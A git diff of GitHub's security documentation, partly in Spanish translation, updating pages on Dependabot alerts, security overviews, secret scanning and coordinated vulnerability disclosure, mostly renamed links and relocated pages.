**Nota**: las características de seguridad de {% data variables.product.product_name %} no garantizan que se detectarán todas las vulnerabilidades{% ifversion GH-advisory-db-supports-malware %} y malware{% endif %}. Mantenemos {% data variables.product.prodname_advisory_database %} activamente y generamos alertas con la información más actualizada. Aun así, no podemos detectarlo todo ni informarle sobre vulnerabilidades conocidas dentro de un plazo garantizado. Estas características no sustituyen la revisión humana de posibles vulnerabilidades u otras incidencias en cada dependencia, y se recomienda consultar con un servicio de seguridad o realizar una revisión exhaustiva de las dependencias cuando sea necesario.
|
||||
|
||||
{% endwarning %}
|
||||
|
||||
## Access to {% data variables.product.prodname_dependabot_alerts %}
|
||||
## Acceder a las {% data variables.product.prodname_dependabot_alerts %}
|
||||
|
||||
You can see all of the alerts that affect a particular project{% ifversion fpt or ghec %} on the repository's Security tab or{% endif %} in the repository's dependency graph. For more information, see "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)."
|
||||
Puede ver todas las alertas que afectan a un proyecto determinado{% ifversion fpt or ghec %} en la pestaña "Seguridad" del repositorio o{% endif %} en el gráfico de dependencias del repositorio. Para obtener más información, consulte "[Visualización y actualización de {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)".
|
||||
|
||||
By default, we notify people with admin permissions in the affected repositories about new {% data variables.product.prodname_dependabot_alerts %}. {% ifversion fpt or ghec %}{% data variables.product.product_name %} never publicly discloses insecure dependencies for any repository. You can also make {% data variables.product.prodname_dependabot_alerts %} visible to additional people or teams working with repositories that you own or have admin permissions for. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)."
|
||||
Predeterminadamente, notificamos a las personas con permisos administrativos en los repositorios afectados sobre las {% data variables.product.prodname_dependabot_alerts %} nuevas. {% ifversion fpt or ghec %}{% data variables.product.product_name %} nunca divulga públicamente las dependencias no seguras de un repositorio. También puedes hacer que {% data variables.product.prodname_dependabot_alerts %} sean visibles para otras personas o equipos que trabajan con repositorios de tu propiedad o para los que tienes permisos. Para más información, vea "[Administración de la configuración de seguridad y análisis para el repositorio](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)".
|
||||
{% endif %}
|
||||
|
||||
{% data reusables.notifications.vulnerable-dependency-notification-enable %}
|
||||
{% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} For more information, see "[Configuring notifications for {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)."
|
||||
{% data reusables.notifications.vulnerable-dependency-notification-enable %} {% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} Para obtener más información, consulta "[Configuración de notificaciones de {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts)".
|
||||
|
||||
You can also see all the {% data variables.product.prodname_dependabot_alerts %} that correspond to a particular advisory in the {% data variables.product.prodname_advisory_database %}. {% data reusables.security-advisory.link-browsing-advisory-db %}
|
||||
También puedes ver todas las {% data variables.product.prodname_dependabot_alerts %} que se corresponden con un aviso concreto en {% data variables.product.prodname_advisory_database %}. {% data reusables.security-advisory.link-browsing-advisory-db %}
|
||||
|
||||
{% ifversion fpt or ghec or ghes %}
|
||||
## Further reading
|
||||
## Información adicional
|
||||
|
||||
- "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)"
|
||||
- "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)"{% endif %}
|
||||
{% ifversion fpt or ghec %}- "[Privacy on {% data variables.product.prodname_dotcom %}](/get-started/privacy-on-github)"{% endif %}
|
||||
- "[Acerca de {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)"
|
||||
- "[Visualización y actualización de {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)"{% endif %} {% ifversion fpt or ghec %}- "[Privacidad de {% data variables.product.prodname_dotcom %}](/get-started/privacy-on-github)"{% endif %}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
---
|
||||
title: Keeping your supply chain secure with Dependabot
|
||||
title: Mantenimiento de la seguridad de la cadena de suministro con Dependabot
|
||||
shortTitle: Dependabot
|
||||
intro: 'Monitor vulnerabilities in dependencies used in your project{% ifversion fpt or ghec or ghes %} and keep your dependencies up-to-date{% endif %} with {% data variables.product.prodname_dependabot %}.'
|
||||
intro: 'Supervisa las vulnerabilidades en las dependencias usadas en el proyecto{% ifversion fpt or ghec or ghes %} y mantén actualizadas las dependencias{% endif %} con {% data variables.product.prodname_dependabot %}.'
|
||||
allowTitleToDifferFromFilename: true
|
||||
versions:
|
||||
fpt: '*'
|
||||
@@ -19,5 +19,11 @@ children:
|
||||
- /dependabot-security-updates
|
||||
- /dependabot-version-updates
|
||||
- /working-with-dependabot
|
||||
ms.openlocfilehash: a3a79cc975a019b80414fcf9387848a55aee39d2
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148109868'
|
||||
---
|
||||
|
||||
|
||||
@@ -35,7 +35,7 @@ You can create a default security policy for your organization or personal accou
|
||||
{% endtip %}
|
||||
|
||||
{% ifversion fpt or ghec %}
|
||||
After someone reports a security vulnerability in your project, you can use {% data variables.product.prodname_security_advisories %} to disclose, fix, and publish information about the vulnerability. For more information about the process of reporting and disclosing vulnerabilities in {% data variables.product.prodname_dotcom %}, see "[About coordinated disclosure of security vulnerabilities](/code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github)." For more information about repository security advisories, see "[About repository security advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."
|
||||
After someone reports a security vulnerability in your project, you can use {% data variables.product.prodname_security_advisories %} to disclose, fix, and publish information about the vulnerability. For more information about the process of reporting and disclosing vulnerabilities in {% data variables.product.prodname_dotcom %}, see "[About coordinated disclosure of security vulnerabilities](/code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github)." For more information about repository security advisories, see "[About repository security advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."
|
||||
|
||||
{% data reusables.repositories.github-security-lab %}
|
||||
{% endif %}
|
||||
|
||||
@@ -61,7 +61,7 @@ You can find the dependency graph on the **Insights** tab for your repository. F
|
||||
{% ifversion security-overview-displayed-alerts %}
|
||||
### Security overview
|
||||
|
||||
The security overview allows you to review security configurations and alerts, making it easy to identify the repositories and organizations at greatest risk. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."
|
||||
The security overview allows you to review security configurations and alerts, making it easy to identify the repositories and organizations at greatest risk. For more information, see "[About security overviews](/code-security/security-overview/about-the-security-overview)."
|
||||
|
||||
{% else %}
|
||||
### Security overview for repositories
|
||||
@@ -114,7 +114,7 @@ Show the full impact of changes to dependencies and see details of any vulnerabl
|
||||
{% else %}
|
||||
### Security overview for organizations{% ifversion ghes > 3.4 or ghae > 3.4 %}, enterprises,{% endif %} and teams
|
||||
|
||||
Review the security configuration and alerts for your organization and identify the repositories at greatest risk. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."
|
||||
Review the security configuration and alerts for your organization and identify the repositories at greatest risk. For more information, see "[About security overviews](/code-security/security-overview/about-the-security-overview)."
|
||||
{% endif %}
|
||||
|
||||
## Further reading
|
||||
|
||||
@@ -128,7 +128,7 @@ You can view and manage alerts from security features to address dependencies an
|
||||
{% ifversion fpt or ghec %}If you have a security vulnerability, you can create a security advisory to privately discuss and fix the vulnerability. For more information, see "[About repository security advisories](/code-security/security-advisories/about-github-security-advisories)" and "[Creating a security advisory](/code-security/security-advisories/creating-a-security-advisory)."
|
||||
{% endif %}
|
||||
|
||||
{% ifversion ghes or ghec or ghae %}You{% elsif fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% endif %} can view, filter, and sort security alerts for repositories owned by {% ifversion ghes or ghec or ghae %}your{% elsif fpt %}their{% endif %} organization in the security overview. For more information, see{% ifversion ghes or ghec or ghae %} "[About the security overview](/code-security/security-overview/about-the-security-overview)."{% elsif fpt %} "[About the security overview](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview)" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %}
|
||||
{% ifversion ghes or ghec or ghae %}You{% elsif fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% endif %} can view, filter, and sort security alerts for repositories owned by {% ifversion ghes or ghec or ghae %}your{% elsif fpt %}their{% endif %} organization in the security overview. For more information, see{% ifversion ghes or ghec or ghae %} "[About security overviews](/code-security/security-overview/about-the-security-overview)."{% elsif fpt %} "[About security overviews](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview)" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %}
|
||||
|
||||
{% ifversion ghec %}
|
||||
## Further reading
|
||||
|
||||
@@ -116,7 +116,7 @@ To enable {% data variables.product.prodname_dependabot_version_updates %}, you
|
||||
|
||||
## Configuring {% data variables.product.prodname_code_scanning %}
|
||||
|
||||
You can set up {% data variables.product.prodname_code_scanning %} to automatically identify vulnerabilities and errors in the code stored in your repository by using a {% data variables.product.prodname_codeql_workflow %} or third-party tool. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
|
||||
You can set up {% data variables.product.prodname_code_scanning %} to automatically identify vulnerabilities and errors in the code stored in your repository by using a {% data variables.code-scanning.codeql_workflow %} or third-party tool. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
|
||||
|
||||
{% data variables.product.prodname_code_scanning_capc %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations that are part of an enterprise with a license for {% else %}for organization-owned repositories if your enterprise uses {% endif %}{% data variables.product.prodname_GH_advanced_security %}.
|
||||
|
||||
|
||||
@@ -53,8 +53,8 @@ includeGuides:
|
||||
- /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli
|
||||
- /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system
|
||||
- /code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system
|
||||
- /code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities
|
||||
- /code-security/repository-security-advisories/about-github-security-advisories-for-repositories
|
||||
- /code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository
|
||||
- /code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory
|
||||
- /code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability
|
||||
- /code-security/repository-security-advisories/creating-a-repository-security-advisory
|
||||
@@ -63,7 +63,10 @@ includeGuides:
|
||||
- /code-security/repository-security-advisories/publishing-a-repository-security-advisory
|
||||
- /code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory
|
||||
- /code-security/repository-security-advisories/withdrawing-a-repository-security-advisory
|
||||
- /code-security/repository-security-advisories/best-practices-for-writing-repository-security-advisories
|
||||
- /code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities
|
||||
- /code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories
|
||||
- /code-security/security-advisories/guidance-on-reporting-and-writing/privately-reporting-a-security-vulnerability
|
||||
- /code-security/security-advisories/guidance-on-reporting-and-writing/managing-privately-reported-security-vulnerabilities
|
||||
- /code-security/security-overview/about-the-security-overview
|
||||
- /code-security/security-overview/filtering-alerts-in-the-security-overview
|
||||
- /code-security/security-overview/viewing-the-security-overview
|
||||
@@ -89,11 +92,11 @@ includeGuides:
|
||||
- /code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph
|
||||
- /code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api
|
||||
- /code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository
|
||||
ms.openlocfilehash: 0d88d53ceab2204eec9038d6726eb851d55ab495
|
||||
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
|
||||
ms.openlocfilehash: 2c22dbc00b2188e78fbd977b775bc971697926ec
|
||||
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 09/05/2022
|
||||
ms.locfileid: '147578558'
|
||||
ms.lasthandoff: 11/09/2022
|
||||
ms.locfileid: '148159217'
|
||||
---
|
||||
|
||||
|
||||
@@ -23,7 +23,7 @@ featuredLinks:
|
||||
popular:
|
||||
- '{% ifversion ghes %}/admin/release-notes{% endif %}'
|
||||
- /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies
|
||||
- /code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities
|
||||
- /code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities
|
||||
- /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/keeping-your-actions-up-to-date-with-dependabot
|
||||
- /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates
|
||||
- /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot
|
||||
|
||||
@@ -96,7 +96,7 @@ For more information about viewing and resolving {% data variables.product.prodn
|
||||
Repository administrators and organization owners can grant users and teams access to {% data variables.product.prodname_secret_scanning %} alerts. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)."
|
||||
|
||||
{% ifversion ghec or ghes or ghae > 3.4 %}
|
||||
You can use the security overview to see an organization-level view of which repositories have enabled {% data variables.product.prodname_secret_scanning %} and the alerts found. For more information, see "[Viewing the security overview](/code-security/security-overview/viewing-the-security-overview)."
|
||||
You can use the security overview to see an organization-level view of which repositories have enabled {% data variables.product.prodname_secret_scanning %} and the alerts found. For more information, see "[Viewing security overviews](/code-security/security-overview/viewing-the-security-overview)."
|
||||
{% endif %}
|
||||
|
||||
{%- ifversion ghec or ghes or ghae %}You can also use the REST API to
|
||||
|
||||
@@ -70,6 +70,9 @@ shortTitle: Manage secret alerts
|
||||
Once a secret has been committed to a repository, you should consider the secret compromised. {% data variables.product.prodname_dotcom %} recommends the following actions for compromised secrets:
|
||||
|
||||
- For a compromised {% data variables.product.prodname_dotcom %} {% data variables.product.pat_generic %}, delete the compromised token, create a new token, and update any services that use the old token. For more information, see "[Creating a {% data variables.product.pat_generic %} for the command line](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)."
|
||||
{%- ifversion token-audit-log %}
|
||||
- {% ifversion ghec %}If your organization is owned by an enterprise account, identify{% else %}Identify{% endif %} any actions taken by the compromised token on your enterprise's resources. For more information, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)."
|
||||
{%- endif %}
|
||||
- For all other secrets, first verify that the secret committed to {% data variables.product.product_name %} is valid. If so, create a new secret, update any services that use the old secret, and then delete the old secret.
|
||||
|
||||
{% ifversion ghec %}
|
||||
|
||||
@@ -19,6 +19,8 @@ topics:
|
||||
|
||||
{% data reusables.repositories.tracks-vulnerabilities %}
|
||||
|
||||
Security advisories are published as JSON files in the Open Source Vulnerability (OSV) format. For more information about the OSV format, see "[Open Source Vulnerability format](https://ossf.github.io/osv-schema/)."
|
||||
|
||||
## About types of security advisories
|
||||
|
||||
{% data reusables.advisory-database.beta-malware-advisories %}
|
||||
|
||||
@@ -11,12 +11,15 @@ topics:
|
||||
- Repositories
|
||||
- CVEs
|
||||
children:
|
||||
- /about-coordinated-disclosure-of-security-vulnerabilities
|
||||
- /best-practices-for-writing-repository-security-advisories
|
||||
ms.openlocfilehash: 71eb2be3bc1590536bdb43f9bb08953859924748
|
||||
ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
|
||||
- /privately-reporting-a-security-vulnerability
|
||||
- /managing-privately-reported-security-vulnerabilities
|
||||
ms.openlocfilehash: 14efd02206d899ab62ad3b03a538f75088afaa18
|
||||
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/27/2022
|
||||
ms.locfileid: '148114077'
|
||||
ms.lasthandoff: 11/09/2022
|
||||
ms.locfileid: '148158841'
|
||||
---
|
||||
|
||||
|
||||
@@ -1,72 +0,0 @@
|
||||
---
|
||||
title: About coordinated disclosure of security vulnerabilities
|
||||
intro: Vulnerability disclosure is a coordinated effort between security reporters and repository maintainers.
|
||||
redirect_from:
|
||||
- /code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities
|
||||
- /code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities
|
||||
miniTocMaxHeadingLevel: 3
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghec: '*'
|
||||
type: overview
|
||||
topics:
|
||||
- Security advisories
|
||||
- Vulnerabilities
|
||||
shortTitle: Coordinated disclosure
|
||||
---
|
||||
|
||||
## About disclosing vulnerabilities in the industry
|
||||
|
||||
{% data reusables.security-advisory.disclosing-vulnerabilities %}
|
||||
|
||||
The initial report of a vulnerability is made privately, and the full details are only published once the maintainer has acknowledged the issue, and ideally made remediations or a patch available, sometimes with a delay to allow more time for the patches to be installed. For more information, see the "[OWASP Cheat Sheet Series about vulnerability disclosure](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html#commercial-and-open-source-software)" on the OWASP Cheat Sheet Series website.
|
||||
|
||||
### Best practices for vulnerability reporters
|
||||
|
||||
It's good practice to report vulnerabilities privately to maintainers. When possible, as a vulnerability reporter, we recommend you avoid:
|
||||
- Disclosing the vulnerability publicly without giving maintainers a chance to remediate.
|
||||
- Bypassing the maintainers.
|
||||
- Disclosing the vulnerability before a fixed version of the code is available.
|
||||
- Expecting to be compensated for reporting an issue, where no public bounty program exists.
|
||||
|
||||
It's acceptable for vulnerability reporters to disclose a vulnerability publicly after a period of time, if they have tried to contact the maintainers and not received a response, or contacted them and been asked to wait too long to disclose it.
|
||||
|
||||
We recommend vulnerability reporters clearly state the terms of their disclosure policy as part of their reporting process. Even if the vulnerability reporter does not adhere to a strict policy, it's a good idea to set clear expectations for maintainers in terms of timelines on intended vulnerability disclosures. For an example of disclosure policy, see the "[Security Lab's disclosure policy](https://securitylab.github.com/advisories#policy)" on the GitHub Security Lab website.
|
||||
|
||||
### Best practices for maintainers
|
||||
|
||||
As a maintainer, it's good practice to clearly indicate how and where you want to receive reports for vulnerabilities. If this information is not clearly available, vulnerability reporters don't know how to contact you, and may resort to extracting developer email addresses from git commit histories to try to find an appropriate security contact. This can lead to friction, lost reports, or the publication of unresolved reports.
|
||||
|
||||
Maintainers should disclose vulnerabilities in a timely manner. If there is a security vulnerability in your repository, we recommend you:
|
||||
- Treat the vulnerability as a security issue rather than a simple bug, both in your response and your disclosure. For example, you'll need to explicitly mention that the issue is a security vulnerability in the release notes.
|
||||
- Acknowledge receipt of the vulnerability report as quickly as possible, even if no immediate resources are available for investigation. This sends the message that you are quick to respond and act, and it sets a positive tone for the rest of the interaction between you and the vulnerability reporter.
|
||||
- Involve the vulnerability reporter when you verify the impact and veracity of the report. It's likely the vulnerability reporter has already spent time considering the vulnerability in a variety of scenarios, some of which you may have not considered yourself.
|
||||
- Remediate the issue in a way that you see fit, taking any concerns and advice provided by the vulnerability reporter into careful consideration. Often the vulnerability reporter will have knowledge of certain corner cases and remediation bypasses that are easy to miss without a security research background.
|
||||
- Always acknowledge the vulnerability reporter when you credit the discovery.
|
||||
- Aim to publish a fix as soon as you can.
|
||||
- Ensure that you make the wider ecosystem aware of the issue and its remediation when you disclose the vulnerability. It is not uncommon to see cases where a recognized security issue is fixed in the current development branch of a project, but the commit or subsequent release is not explicitly marked as a security fix or release. This can cause problems with downstream consumers.
|
||||
|
||||
Publishing the details of a security vulnerability doesn't make maintainers look bad. Security vulnerabilities are present everywhere in software, and users will trust maintainers who have a clear and established process for disclosing security vulnerabilities in their code.
|
||||
|
||||
## About reporting and disclosing vulnerabilities in projects on {% data variables.product.prodname_dotcom %}
|
||||
|
||||
The process for reporting and disclosing vulnerabilities for projects on {% data variables.product.prodname_dotcom_the_website %} is as follows:
|
||||
|
||||
If you are a vulnerability reporter (for example, a security researcher) who would like report a vulnerability, first check if there is a security policy for the related repository. For more information, see "[About security policies](/code-security/getting-started/adding-a-security-policy-to-your-repository#about-security-policies)." If there is one, follow it to understand the process before contacting the security team for that repository.
|
||||
|
||||
If there isn't a security policy in place, the most efficient way to establish a private means of communication with maintainers is to create an issue asking for a preferred security contact. It's worth noting that the issue will be immediately publicly visible, so it should not include any information about the bug. Once communication is established, you can suggest the maintainers define a security policy for future use.
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note**: _For npm only_ - If we receive a report of malware in an npm package, we try to contact you privately. If you don't address the issue in a timely manner, we will disclose it. For more information, see "[Reporting malware in an npm package](https://docs.npmjs.com/reporting-malware-in-an-npm-package)" on the npm Docs website.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
If you've found a security vulnerability in {% data variables.product.prodname_dotcom_the_website %}, please report the vulnerability through our coordinated disclosure process. For more information, see the [{% data variables.product.prodname_dotcom %} Security Bug Bounty](https://bounty.github.com/) website.
|
||||
|
||||
If you are a maintainer, you can take ownership of the process at the very beginning of the pipeline by setting up a security policy for your repository, or otherwise making security reporting instructions clearly available, for example in your project’s README file. For information about adding a security policy, see "[About security policies](/code-security/getting-started/adding-a-security-policy-to-your-repository#about-security-policies)." If there is no security policy, it's likely that a vulnerability reporter will try to email you or otherwise privately contact you. Alternatively, someone may open a (public) issue with details of a security issue.
|
||||
|
||||
As a maintainer, to disclose a vulnerability in your code, you first create a draft security advisory in the package's repository in {% data variables.product.prodname_dotcom %}. {% data reusables.security-advisory.security-advisory-overview %} For more information, see "[About repository security advisories](/code-security/repository-security-advisories/about-github-security-advisories-for-repositories)."
|
||||
|
||||
|
||||
To get started, see "[Creating a repository security advisory](/code-security/repository-security-advisories/creating-a-repository-security-advisory)."
|
||||
@@ -16,12 +16,12 @@ topics:
|
||||
- Security advisories
|
||||
- Vulnerabilities
|
||||
- CVEs
|
||||
ms.openlocfilehash: a9f411a28812edadb810861a6b4d5239db1722a5
|
||||
ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
|
||||
ms.openlocfilehash: 562969ec29feda0901b79f8b6e2cb9cdb390ea56
|
||||
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/27/2022
|
||||
ms.locfileid: '148114158'
|
||||
ms.lasthandoff: 11/09/2022
|
||||
ms.locfileid: '148158825'
|
||||
---
|
||||
{% data reusables.repositories.security-advisory-admin-permissions %}
|
||||
|
||||
@@ -29,7 +29,7 @@ ms.locfileid: '148114158'
|
||||
|
||||
## Acerca de las asesorías de seguridad de repositorio
|
||||
|
||||
{% data reusables.security-advisory.disclosing-vulnerabilities %} Para más información, vea "[Acerca de la divulgación coordinada de vulnerabilidades de seguridad](/code-security/repository-security-advisories/about-coordinated-disclosure-of-security-vulnerabilities)".
|
||||
{% data reusables.security-advisory.disclosing-vulnerabilities %} Para más información, vea "[Acerca de la divulgación coordinada de vulnerabilidades de seguridad](/code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities)".
|
||||
|
||||
{% data reusables.security-advisory.security-advisory-overview %}
|
||||
|
||||
|
||||
@@ -15,9 +15,9 @@ topics:
|
||||
- Repositories
|
||||
- CVEs
|
||||
children:
|
||||
- /about-coordinated-disclosure-of-security-vulnerabilities
|
||||
- /about-repository-security-advisories
|
||||
- /permission-levels-for-repository-security-advisories
|
||||
- /configuring-private-vulnerability-reporting-for-a-repository
|
||||
- /creating-a-repository-security-advisory
|
||||
- /editing-a-repository-security-advisory
|
||||
- /collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability
|
||||
@@ -25,11 +25,11 @@ children:
|
||||
- /adding-a-collaborator-to-a-repository-security-advisory
|
||||
- /removing-a-collaborator-from-a-repository-security-advisory
|
||||
- /withdrawing-a-repository-security-advisory
|
||||
ms.openlocfilehash: 2584e75893b9e8ce97af843a61b8fae8e5fc9704
|
||||
ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
|
||||
ms.openlocfilehash: 81de06dcbe130eedcbf9dbd4dedb7e21dae5db79
|
||||
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/27/2022
|
||||
ms.locfileid: '148114082'
|
||||
ms.lasthandoff: 11/09/2022
|
||||
ms.locfileid: '148159025'
|
||||
---
|
||||
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
---
|
||||
title: About the security overview
|
||||
intro: 'You can view, filter, and sort security alerts for repositories owned by your organization or team in one place: the Security Overview page.'
|
||||
title: About security overviews
|
||||
intro: 'You can view, filter, and sort security alerts for repositories owned by your organization or team in the security overview pages.'
|
||||
permissions: '{% data reusables.security-overview.permissions %}'
|
||||
product: '{% data reusables.gated-features.security-overview %}'
|
||||
redirect_from:
|
||||
- /code-security/security-overview/exploring-security-alerts
|
||||
allowTitleToDifferFromFilename: true
|
||||
versions:
|
||||
fpt: '*'
|
||||
ghae: '*'
|
||||
@@ -19,39 +20,83 @@ topics:
|
||||
- Dependencies
|
||||
- Organizations
|
||||
- Teams
|
||||
shortTitle: About security overview
|
||||
shortTitle: About security overviews
|
||||
---
|
||||
|
||||
{% ifversion ghes < 3.5 or ghae %}
|
||||
{% data reusables.security-overview.beta %}
|
||||
{% endif %}
|
||||
|
||||
## About the security overview
|
||||
## About security overviews
|
||||
|
||||
{% ifversion ghes or ghec or ghae %}You{% elsif fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% endif %} can use the security overview for a high-level view of the security status of {% ifversion ghes or ghec or ghae %}your {% elsif fpt %}their{% endif %} organization or to identify problematic repositories that require intervention. {% ifversion ghes or ghec or ghae %}You {% elsif fpt %}These organizations{% endif %} can view aggregate or repository-specific security information in the security overview. {% ifversion ghes or ghec or ghae %}You {% elsif fpt %} Organizations that use {% data variables.product.prodname_ghe_cloud %}{% endif %} can also use the security overview to see which security features are enabled for {% ifversion ghes or ghec or ghae %}your {% elsif fpt %}their {% endif %} repositories and to configure any available security features that are not currently in use. {% ifversion fpt %}For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview).{% endif %}
|
||||
Security overviews provide high-level summaries of the security status of an organization or enterprise and make it easy to identify problematic repositories that require intervention. You can also use the security overviews to see which repositories have enabled specific security features and to configure any available security features that are not currently in use. {% ifversion fpt %}For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview).{% endif %}
|
||||
|
||||
{% ifversion ghec or ghes or ghae %}
|
||||
The security overview indicates whether {% ifversion fpt or ghes or ghec %}security{% endif %}{% ifversion ghae %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} features are enabled for repositories owned by your organization and consolidates alerts for each feature.{% ifversion fpt or ghes or ghec %} Security features include {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, as well as {% data variables.product.prodname_dependabot_alerts %}.{% endif %} For more information about {% data variables.product.prodname_GH_advanced_security %} features, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."{% ifversion fpt or ghes or ghec %} For more information about {% data variables.product.prodname_dependabot_alerts %}, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."{% endif %}
|
||||
Security overviews show which security features are enabled for repositories and consolidate alerts for each feature.
|
||||
|
||||
For more information about securing your code at the repository and organization levels, see "[Securing your repository](/code-security/getting-started/securing-your-repository)" and "[Securing your organization](/code-security/getting-started/securing-your-organization)."
|
||||
- Risk and coverage information about {% data variables.product.prodname_dependabot %} features and alerts is shown for all repositories.
|
||||
- Risk and coverage information for {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, is shown only for enterprises that use {% data variables.product.prodname_GH_advanced_security %}.
|
||||
|
||||
